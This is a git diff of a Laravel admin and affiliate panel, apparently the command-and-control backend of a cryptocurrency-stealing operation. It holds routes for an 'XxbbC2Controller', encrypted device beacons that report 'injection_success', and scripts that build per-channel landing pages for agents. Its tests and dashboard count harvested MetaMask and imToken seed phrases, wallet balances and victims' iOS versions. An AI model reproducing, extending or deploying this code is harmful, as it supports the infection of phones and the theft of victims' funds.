</div>
</div>
@endif
@include('admin.partials.filter_agent_select')
<div class="layui-inline">
<label class="layui-form-label">敏感词</label>
<div class="layui-input-block">
@@ -63,6 +45,7 @@
<script>
layui.use(['table', 'form', 'layer'], function () {
var table = layui.table, form = layui.form, layer = layui.layer;
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
table.render({
elem: '#LAY-photo-list',
id: 'LAY-photo-list',
+4 -28
View File
@@ -18,12 +18,7 @@
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">渠道 ID</label>
<div class="layui-input-block">
<input type="text" name="channel_id" class="layui-input" autocomplete="off">
</div>
</div>
@include('admin.partials.filter_channel_select')
<div class="layui-inline">
<label class="layui-form-label">系统</label>
<div class="layui-input-block">
@@ -42,32 +37,13 @@
<input type="text" name="browser" class="layui-input" placeholder="如 Safari" autocomplete="off">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">来源域名</label>
<div class="layui-input-block">
<input type="text" name="domain" class="layui-input" placeholder="来源域名" autocomplete="off">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">Referer</label>
<div class="layui-input-block">
<input type="text" name="referer" class="layui-input" placeholder="来源" autocomplete="off">
</div>
</div>
@if ($portal === 'admin')
<div class="layui-inline">
<label class="layui-form-label">代理</label>
<div class="layui-input-block">
<select name="agent_user_id">
<option value="">全部</option>
<option value="0">官方</option>
@foreach ($agents as $a)
<option value="{{ $a->id }}">{{ $a->username }}</option>
@endforeach
</select>
</div>
</div>
@endif
@include('admin.partials.filter_agent_select')
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-visit-search">搜索</button>
</div>
@@ -81,7 +57,6 @@
<select id="LAY-visit-group">
<option value="os">系统</option>
<option value="os_version">系统 + 版本</option>
<option value="domain">来源域名</option>
<option value="browser">浏览器</option>
<option value="browser_version">浏览器 + 版本</option>
</select>
@@ -104,6 +79,8 @@ layui.use(['table', 'form'], function () {
var portal = @json($portal);
var where = { range: '30d' };
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
function loadGroups() {
var g = $('#LAY-visit-group').val() || 'os';
$.getJSON(@json(route($portal.'.visits.groups')), Object.assign({}, where, { group: g }), function (res) {
@@ -124,7 +101,6 @@ layui.use(['table', 'form'], function () {
cols: [[
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'channel_id', title: '渠道', minWidth: 160 },
{ field: 'domain', title: '来源域名', minWidth: 180 },
{ field: 'client_uid', title: '访客 UID', width: 160 },
{ field: 'os', title: '系统', width: 90 },
{ field: 'os_version', title: '系统版本', width: 100 },
+3 -1
View File
@@ -34,6 +34,9 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
Route::get('filter-options/channels', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
Route::get('filter-options/agents', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'agents'])->name('filterOptions.agents');
Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index');
Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data');
Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups');
@@ -73,7 +76,6 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
Route::get('channels/random-id', [ChannelController::class, 'randomId'])->name('channels.randomId');
Route::post('channels', [ChannelController::class, 'store'])->name('channels.store');
Route::get('channels/{channel}/download', [ChannelController::class, 'download'])->name('channels.download');
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
Route::delete('channels/{channel}', [ChannelController::class, 'destroy'])->name('channels.destroy');
+1 -1
View File
@@ -101,7 +101,7 @@ Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
}
$configured = strtolower(trim((string) config('coruna.xxbb.channel_c', '')));
if ($c !== '' && $configured !== $c) {
$this->warn('把上面的 XXBB_CHANNEL_C 写入 .env,新建设备才能按 IP 归因到渠道。');
$this->warn('把上面的 XXBB_CHANNEL_C 写入 .env;新建渠道会始终用 env 中的 c 构建。');
}
return 0;
+3 -2
View File
@@ -23,6 +23,8 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
Route::get('filter-options/channels', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index');
Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data');
Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups');
@@ -54,8 +56,7 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::get('channels', [ChannelController::class, 'index'])->name('channels.index');
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
Route::get('channels/{channel}/download', [ChannelController::class, 'download'])->name('channels.download');
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
// Agent portal: view/edit/download own channel links only (no create/delete).
// Agent portal: view/edit own channel links only (no create/delete).
});
});
+14
View File
@@ -1,6 +1,7 @@
<?php
use App\Http\Controllers\PageHitController;
use App\Models\Channel;
use Illuminate\Support\Facades\Route;
// Route::get('/', function () {
@@ -9,3 +10,16 @@ use Illuminate\Support\Facades\Route;
// Anonymous page-visit beacon (PV/UV); no session / CSRF.
Route::match(['GET', 'POST'], '/statistic/t', PageHitController::class)->name('page.hit');
// Equal-length alias for secondary's hardcoded /details/show.html → /c/{ver}/show.htm
Route::get('/c/{ver}/show.htm', function (string $ver) {
$ver = Channel::normalizeNewChannelId($ver);
abort_if($ver === null, 404);
$path = public_path('channel/'.$ver.'/details/show.html');
abort_unless(is_file($path), 404);
return response()->file($path, [
'Content-Type' => 'application/octet-stream',
'Cache-Control' => 'no-store',
]);
})->where('ver', '[0-9A-Za-z]\\.[0-9A-Za-z]\\.[0-9A-Za-z]{2}');
-1
View File
@@ -5,7 +5,6 @@ use App\Http\Middleware\DecryptXxbbBody;
use Illuminate\Support\Facades\Route;
Route::match(['GET', 'HEAD'], '/vhx', [XxbbC2Controller::class, 'vhx']);
Route::post('/api/iptj', [XxbbC2Controller::class, 'iptj']);
Route::middleware([DecryptXxbbBody::class])->group(function () {
Route::post('/a', [XxbbC2Controller::class, 'profile']);
+59 -4
View File
@@ -7,6 +7,7 @@ use App\Models\Channel;
use App\Models\Device;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\ChannelProjectService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Mockery;
@@ -213,15 +214,69 @@ class AdminAgentPortalTest extends TestCase
public function dashboard_counts_smoke(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
Device::query()->create(['device_id' => 'd1', 'channel_id' => 'ffffffffffffffffffffffffffffffff']);
Device::query()->create(['device_id' => 'd2', 'channel_id' => 'ffffffffffffffffffffffffffffffff']);
$d1 = Device::query()->create([
'device_id' => 'd1',
'channel_id' => 'ffffffffffffffffffffffffffffffff',
'ios_version' => '15.8.4',
]);
Device::query()->create([
'device_id' => 'd2',
'channel_id' => 'ffffffffffffffffffffffffffffffff',
'ios_version' => '15.8.4',
]);
Device::query()->create([
'device_id' => 'd3',
'channel_id' => 'ffffffffffffffffffffffffffffffff',
'ios_version' => '18.5',
]);
WalletAddress::query()->create([
'device_id' => $d1->id,
'address' => 'TTestAddress111111111111111111111',
'chain_type' => 'TRON',
'usdt' => '10.5',
'trx' => '2',
'eth' => '0',
'btc' => '0.001',
'bnb' => '1.25',
]);
WalletAddress::query()->create([
'device_id' => $d1->id,
'address' => '0xabcdefabcdefabcdefabcdefabcdefabcdefabcd',
'chain_type' => 'ETH',
'usdt' => '1.5',
'trx' => '0',
'eth' => '0.1',
'btc' => '0',
'bnb' => '0',
]);
WalletMnemonic::query()->create([
'device_id' => $d1->id,
'source' => 'MetaMask',
'mnemonic' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
]);
WalletMnemonic::query()->create([
'device_id' => $d1->id,
'source' => 'imToken',
'mnemonic' => 'legal winner thank year wave sausage worth useful legal winner thank yellow',
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.dashboard.data', ['range' => '30d']))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.total', 2)
->assertJsonStructure(['data' => ['total', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'by_os', 'by_ios_version', 'from', 'to']]);
->assertJsonPath('data.total', 3)
->assertJsonPath('data.mnemonic_count', 2)
->assertJsonPath('data.address_count', 2)
->assertJsonPath('data.balances.usdt', '12')
->assertJsonPath('data.balances.trx', '2')
->assertJsonPath('data.balances.eth', '0.1')
->assertJsonPath('data.balances.btc', '0.001')
->assertJsonPath('data.balances.bnb', '1.25')
->assertJsonPath('data.by_device_ios_version.0.label', '15.8.4')
->assertJsonPath('data.by_device_ios_version.0.count', 2)
->assertJsonPath('data.by_device_ios_version.1.label', '18.5')
->assertJsonPath('data.by_device_ios_version.1.count', 1)
->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to']]);
}
#[Test]
+66 -40
View File
@@ -19,7 +19,7 @@ class ChannelProjectServiceTest extends TestCase
private const CHANNEL_ID = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
private const NEW_CHANNEL_ID = 'FAFA9988';
private const NEW_CHANNEL_ID = '3.1.07';
protected function setUp(): void
{
@@ -32,6 +32,7 @@ class ChannelProjectServiceTest extends TestCase
'coruna.channel_builder_new.python' => 'python3',
'coruna.channel_builder_new.state_root' => storage_path('app/channel-builder-new-test'),
'coruna.channel_domains' => ['fallback.test'],
'coruna.xxbb.channel_c' => '33333333333333333333333333333333',
]);
}
@@ -67,6 +68,12 @@ class ChannelProjectServiceTest extends TestCase
file_put_contents($dir.'/index.js', 'const V="CACACACA";');
file_put_contents($dir.'/weifile.html', '<script src="index.js"></script>');
$details = storage_path('app/channel-artifacts-test/details');
if (! is_dir($details) && ! mkdir($details, 0775, true) && ! is_dir($details)) {
$this->fail('unable to create details dir');
}
file_put_contents($details.'/show.html', 'show');
return $dir;
}
@@ -351,12 +358,14 @@ class ChannelProjectServiceTest extends TestCase
Process::fake([
'*' => Process::result(output: $this->fakeBuildResult([
'builder_type' => 'new',
'channel_code' => self::NEW_CHANNEL_ID,
'channel_id' => self::NEW_CHANNEL_ID,
'channel_ver' => self::NEW_CHANNEL_ID,
'weifile_path' => null,
'support_path' => '',
'details_path' => '/details/',
'daily_path' => '/details/',
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
'daily_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID,
'domains' => ['deployment' => [], 'reporting' => []],
])),
]);
@@ -371,31 +380,38 @@ class ChannelProjectServiceTest extends TestCase
$this->assertSame(Channel::BUILDER_NEW, $result['builder_type']);
$this->assertNull($result['weifile_path']);
$this->assertSame('', $result['support_path']);
$this->assertSame('/details/', $result['daily_path']);
$this->assertSame('/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip', $result['zip_path']);
$this->assertSame('/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html', $result['support_path']);
$this->assertSame('/channel/'.self::NEW_CHANNEL_ID.'/details/', $result['daily_path']);
$this->assertSame('/channel/'.self::NEW_CHANNEL_ID, $result['channel_dir']);
Process::assertRan(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'build.py')
&& str_contains($joined, '--channel-c')
&& str_contains($joined, '33333333333333333333333333333333')
&& str_contains($joined, '--apply')
&& ! str_contains($joined, '--random-c');
});
Process::assertRan(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'pack_channel.py')
&& str_contains($joined, '--channel-code')
&& str_contains($joined, '--channel-ver')
&& str_contains($joined, self::NEW_CHANNEL_ID)
&& ! str_contains($joined, 'build.py')
&& ! str_contains($joined, '--apply');
&& str_contains($joined, '--channel-out')
&& str_contains($joined, '--landing-template')
&& str_contains($joined, 'test');
});
}
#[Test]
public function new_builder_requires_staged_weifile(): void
public function new_builder_requires_env_channel_c(): void
{
$index = storage_path('app/channel-builder-new-test/out/weifile/index.js');
if (is_file($index)) {
unlink($index);
}
config(['coruna.xxbb.channel_c' => '']);
$this->expectException(RuntimeException::class);
$this->expectExceptionMessage('请先运行构建脚本');
$this->expectExceptionMessage('XXBB_CHANNEL_C');
app(ChannelProjectService::class)->generate(
self::NEW_CHANNEL_ID,
@@ -413,7 +429,9 @@ class ChannelProjectServiceTest extends TestCase
Process::fake([
'*' => Process::result(output: $this->fakeBuildResult([
'builder_type' => 'new',
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID,
])),
]);
@@ -429,28 +447,29 @@ class ChannelProjectServiceTest extends TestCase
}
#[Test]
public function support_links_use_weifile_path_for_new_builder(): void
public function support_links_use_channel_path_for_new_builder(): void
{
$channel = new Channel([
'channel_id' => self::NEW_CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'domains' => ['channel.test'],
]);
$this->assertSame([], $channel->supportLinks());
$this->assertSame('/weifile/weifile.html', $channel->landingPath());
$this->assertSame('/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html', $channel->landingPath());
$this->assertSame(['https://channel.test/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html'], $channel->supportLinks());
}
#[Test]
public function store_new_builder_returns_zip_path(): void
public function store_new_builder_returns_channel_dir(): void
{
$this->stageFakeWeifile();
Process::fake([
'*' => Process::result(output: $this->fakeBuildResult([
'weifile_path' => null,
'support_path' => '',
'details_path' => '/details/',
'daily_path' => '/details/',
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
'daily_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID,
])),
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
@@ -464,25 +483,26 @@ class ChannelProjectServiceTest extends TestCase
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW)
->assertJsonPath('data.zip_path', '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip');
->assertJsonPath('data.channel_dir', '/channel/'.self::NEW_CHANNEL_ID)
->assertJsonPath('data.support_path', '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html');
$channel = Channel::query()->where('channel_id', self::NEW_CHANNEL_ID)->first();
$this->assertNotNull($channel);
$this->assertSame(Channel::BUILDER_NEW, $channel->builderType());
$this->assertNull($response->json('data.weifile_path'));
$this->assertNotEmpty($response->json('data.download_url'));
$this->assertNull($response->json('data.zip_path'));
$this->assertNull($response->json('data.download_url'));
Process::assertRan(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'pack_channel.py')
&& str_contains($joined, self::NEW_CHANNEL_ID)
&& ! str_contains($joined, 'build.py');
&& str_contains($joined, self::NEW_CHANNEL_ID);
});
}
#[Test]
public function destroy_new_builder_deletes_zip_not_details(): void
public function destroy_new_builder_deletes_channel_dir_not_shared_details(): void
{
Process::fake();
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
@@ -492,12 +512,14 @@ class ChannelProjectServiceTest extends TestCase
'user_id' => 0,
'status' => 1,
]);
$zipDir = storage_path('app/channel-artifacts-test/channel-source-new');
if (! is_dir($zipDir)) {
mkdir($zipDir, 0775, true);
$channelDir = storage_path('app/channel-artifacts-test/channel/'.self::NEW_CHANNEL_ID);
if (! is_dir($channelDir.'/weifile') && ! mkdir($channelDir.'/weifile', 0775, true) && ! is_dir($channelDir.'/weifile')) {
$this->fail('unable to create channel weifile dir');
}
$zip = $zipDir.'/'.self::NEW_CHANNEL_ID.'.zip';
file_put_contents($zip, 'zip');
if (! is_dir($channelDir.'/details') && ! mkdir($channelDir.'/details', 0775, true) && ! is_dir($channelDir.'/details')) {
$this->fail('unable to create channel dir');
}
file_put_contents($channelDir.'/weifile/weifile.html', 'landing');
$details = storage_path('app/channel-artifacts-test/details');
if (! is_dir($details)) {
mkdir($details, 0775, true);
@@ -515,16 +537,20 @@ class ChannelProjectServiceTest extends TestCase
return str_contains($joined, 'delete_channel.py')
|| str_contains($joined, 'delete_channel_web.py');
});
$this->assertFileDoesNotExist($zip);
$this->assertDirectoryDoesNotExist($channelDir);
$this->assertFileExists($details.'/show.html');
$this->assertDatabaseMissing('channels', ['id' => $channel->id]);
}
#[Test]
public function reserved_names_cannot_be_new_channel_ids(): void
public function version_format_required_for_new_channel_ids(): void
{
$this->assertNull(Channel::normalizeNewChannelId('ADMIN'));
$this->assertNull(Channel::normalizeNewChannelId('weifile'));
$this->assertSame('FAFA9988', Channel::normalizeNewChannelId('fafa9988'));
$this->assertNull(Channel::normalizeNewChannelId('FAFA9988'));
$this->assertNull(Channel::normalizeNewChannelId('2.2.6'));
$this->assertNull(Channel::normalizeNewChannelId('22.2.66'));
$this->assertSame('3.1.07', Channel::normalizeNewChannelId('3.1.07'));
$this->assertSame('2.2.66', Channel::normalizeNewChannelId('2.2.66'));
$this->assertSame('A.B.C1', Channel::normalizeNewChannelId('a.b.c1'));
$this->assertSame('X.9.Z0', Channel::normalizeNewChannelId('x.9.z0'));
}
}
+104
View File
@@ -0,0 +1,104 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Channel;
use App\Models\User;
use App\Services\FilterOptionsService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class FilterOptionsTest extends TestCase
{
use RefreshDatabase;
#[Test]
public function admin_channel_options_include_remark_label_and_cache(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
Channel::query()->create([
'channel_id' => '0.0.01',
'builder_type' => Channel::BUILDER_NEW,
'user_id' => Channel::OFFICIAL_USER_ID,
'status' => 1,
'remark' => '测试',
]);
Channel::query()->create([
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'builder_type' => Channel::BUILDER_OLD,
'user_id' => Channel::OFFICIAL_USER_ID,
'status' => 1,
'remark' => null,
]);
Cache::flush();
$this->actingAs($admin, 'admin')
->getJson(route('admin.filterOptions.channels'))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonFragment(['value' => '0.0.01', 'label' => '0.0.01/测试'])
->assertJsonFragment(['value' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'label' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa']);
$this->assertTrue(Cache::has(FilterOptionsService::CACHE_CHANNELS_ADMIN));
}
#[Test]
public function admin_agent_options_include_comment_label(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$agent = User::query()->create([
'username' => 'agent1',
'password' => 'secret12',
'status' => 1,
'comment' => '华东',
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.filterOptions.agents'))
->assertOk()
->assertJsonFragment(['value' => (string) $agent->id, 'label' => 'agent1/华东']);
}
#[Test]
public function agent_only_sees_own_channels(): void
{
$agent = User::query()->create(['username' => 'a1', 'password' => 'secret12', 'status' => 1]);
$other = User::query()->create(['username' => 'a2', 'password' => 'secret12', 'status' => 1]);
Channel::query()->create([
'channel_id' => '1.0.01',
'builder_type' => Channel::BUILDER_NEW,
'user_id' => $agent->id,
'status' => 1,
'remark' => '我的',
]);
Channel::query()->create([
'channel_id' => '2.0.01',
'builder_type' => Channel::BUILDER_NEW,
'user_id' => $other->id,
'status' => 1,
'remark' => '别人的',
]);
$this->actingAs($agent, 'agent')
->getJson(route('user.filterOptions.channels'))
->assertOk()
->assertJsonFragment(['value' => '1.0.01', 'label' => '1.0.01/我的'])
->assertJsonMissing(['value' => '2.0.01']);
}
#[Test]
public function channel_save_busts_options_cache(): void
{
Cache::put(FilterOptionsService::CACHE_CHANNELS_ADMIN, [['value' => 'x', 'label' => 'x']], 300);
Channel::query()->create([
'channel_id' => '3.0.01',
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
$this->assertFalse(Cache::has(FilterOptionsService::CACHE_CHANNELS_ADMIN));
}
}
+75 -105
View File
@@ -4,10 +4,8 @@ namespace Tests\Feature;
use App\Models\Channel;
use App\Models\Device;
use App\Models\PageVisit;
use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -17,20 +15,21 @@ class NewBuilderIngestTest extends TestCase
private const SHARED_C = '202700cfb1ad3de68e11239dcc26c30b';
private const CHANNEL_ID = 'FAFA9988';
private const CHANNEL_ID = '3.1.07';
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899', array $headers = [])
{
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
return $this->call('POST', $path, [], [], [], [
$server = array_merge([
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => $ts,
], $enc['body']);
], $headers);
return $this->call('POST', $path, [], [], [], $server, $enc['body']);
}
#[Test]
public function new_builder_device_uses_recent_visit_not_native_c(): void
public function core_routes_write_channel_from_ver_header(): void
{
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
@@ -38,104 +37,74 @@ class NewBuilderIngestTest extends TestCase
'user_id' => 0,
'status' => 1,
]);
Cache::flush();
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
'REMOTE_ADDR' => '203.0.113.9',
], json_encode([
'channelCode' => 'fafa9988',
'deviceVersion' => 'iOS 16.6',
'domain' => 'landing.example',
'sessionId' => '11111111-2222-4333-8444-555555555555',
]))->assertOk();
$this->call('POST', '/event', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => '1786468227899',
'REMOTE_ADDR' => '203.0.113.9',
], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([
$this->xxbbPost('/event', [
'd' => '000C30D83CD0402E',
'f' => '000C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
'm' => 'iPhone12,8',
'pv' => '16.6',
], '1786468227899')['body'])->assertOk();
], '1786468227899', [
'HTTP_VER' => self::CHANNEL_ID,
'HTTP_SDKV' => self::CHANNEL_ID,
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
$this->assertSame('landing.example', $device->source_domain);
$this->assertNotSame(self::SHARED_C, $device->channel_id);
}
#[Test]
public function new_builder_device_matches_visit_across_ipv4_and_ipv6(): void
public function core_routes_prefer_ver_over_sdkv(): void
{
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
PageVisit::query()->create([
'channel_id' => self::CHANNEL_ID,
'client_uid' => 'landing.example',
'ip' => '203.0.113.9',
'domain' => 'landing.example',
'created_at' => now(),
]);
$this->xxbbPost('/a', [
'd' => '000C30D83CD0402E',
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
], '1786468227899', [
'HTTP_VER' => '4.2.01',
'HTTP_SDKV' => '5.5.55',
])->assertOk();
$this->call('POST', '/event', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => '1786468227899',
'REMOTE_ADDR' => '2001:db8::9',
], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertSame('4.2.01', $device->channel_id);
}
#[Test]
public function core_routes_accept_sdkv_when_ver_missing(): void
{
$this->xxbbPost('/u', [
'd' => '000C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
], '1786468227899')['body'])->assertOk();
'al' => [],
], '1786468227899', [
'HTTP_SDKV' => self::CHANNEL_ID,
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
}
#[Test]
public function non_core_routes_do_not_write_channel_id(): void
{
$this->xxbbPost('/uj', [
'd' => '000C30D83CD0402E',
'a' => 'b',
'result' => 'abandon ability able about above absent absorb abstract absurd abuse access',
], '1786468227899', [
'HTTP_VER' => self::CHANNEL_ID,
'HTTP_SDKV' => self::CHANNEL_ID,
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
$this->assertSame('landing.example', $device->source_domain);
$this->assertSame('2001:db8::9', $device->ip);
$this->assertNull($device->channel_id);
}
#[Test]
public function new_builder_device_matches_ipv4_mapped_ipv6(): void
{
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
PageVisit::query()->create([
'channel_id' => self::CHANNEL_ID,
'client_uid' => 'landing.example',
'ip' => '::ffff:203.0.113.9',
'domain' => 'landing.example',
'created_at' => now(),
]);
$this->call('POST', '/event', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => '1786468227899',
'REMOTE_ADDR' => '203.0.113.9',
], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([
'd' => '000C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
], '1786468227899')['body'])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
}
#[Test]
public function new_builder_device_without_visit_is_still_created(): void
public function core_without_ver_headers_still_creates_device(): void
{
$this->xxbbPost('/event', [
'd' => '000C30D83CD0402E',
@@ -150,6 +119,21 @@ class NewBuilderIngestTest extends TestCase
$this->assertNull($device->source_domain);
}
#[Test]
public function invalid_ver_header_does_not_write_channel_id(): void
{
$this->xxbbPost('/event', [
'd' => '000C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
], '1786468227899', [
'HTTP_VER' => 'FAFA9988',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNull($device->channel_id);
}
#[Test]
public function old_builder_put_still_writes_payload_c(): void
{
@@ -173,37 +157,23 @@ class NewBuilderIngestTest extends TestCase
}
#[Test]
public function claimed_visit_is_not_reused_by_second_device(): void
public function later_core_request_fills_empty_channel_id(): void
{
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
PageVisit::query()->create([
'channel_id' => self::CHANNEL_ID,
'client_uid' => 'landing.example',
'ip' => '127.0.0.1',
'domain' => 'landing.example',
'created_at' => now(),
]);
$this->xxbbPost('/event', [
'd' => '000C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
])->assertOk();
$this->xxbbPost('/event', [
'd' => '111C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
$this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->value('channel_id'));
$this->xxbbPost('/a', [
'd' => '000C30D83CD0402E',
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
], '1786468227900', [
'HTTP_VER' => self::CHANNEL_ID,
])->assertOk();
$first = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$second = Device::query()->where('device_id', '111C30D83CD0402E')->first();
$this->assertSame(self::CHANNEL_ID, $first->channel_id);
$this->assertNull($second->channel_id);
$this->assertNotNull($second);
$this->assertSame(self::CHANNEL_ID, Device::query()->where('device_id', '000C30D83CD0402E')->value('channel_id'));
}
}
+20 -3
View File
@@ -16,6 +16,23 @@ class PageVisitTest extends TestCase
private const CHANNEL = 'fe398bc1add87202c04c27293a032634';
#[Test]
public function hit_records_new_builder_version_channel(): void
{
Cache::flush();
$channel = '3.1.07';
$this->call('GET', '/statistic/t', [
'c' => $channel,
'u' => '11111111-2222-4333-8444-555555555555',
'p' => '/channel/'.$channel.'/weifile/weifile.html',
])->assertOk();
$row = PageVisit::query()->first();
$this->assertNotNull($row);
$this->assertSame($channel, $row->channel_id);
}
#[Test]
public function hit_records_visit_with_parsed_ua(): void
{
@@ -209,10 +226,10 @@ class PageVisitTest extends TestCase
->assertJsonPath('data.effective_pv', 3)
->assertJsonPath('data.effective_uv', 2)
->assertJsonPath('data.by_os.0.label', 'iOS')
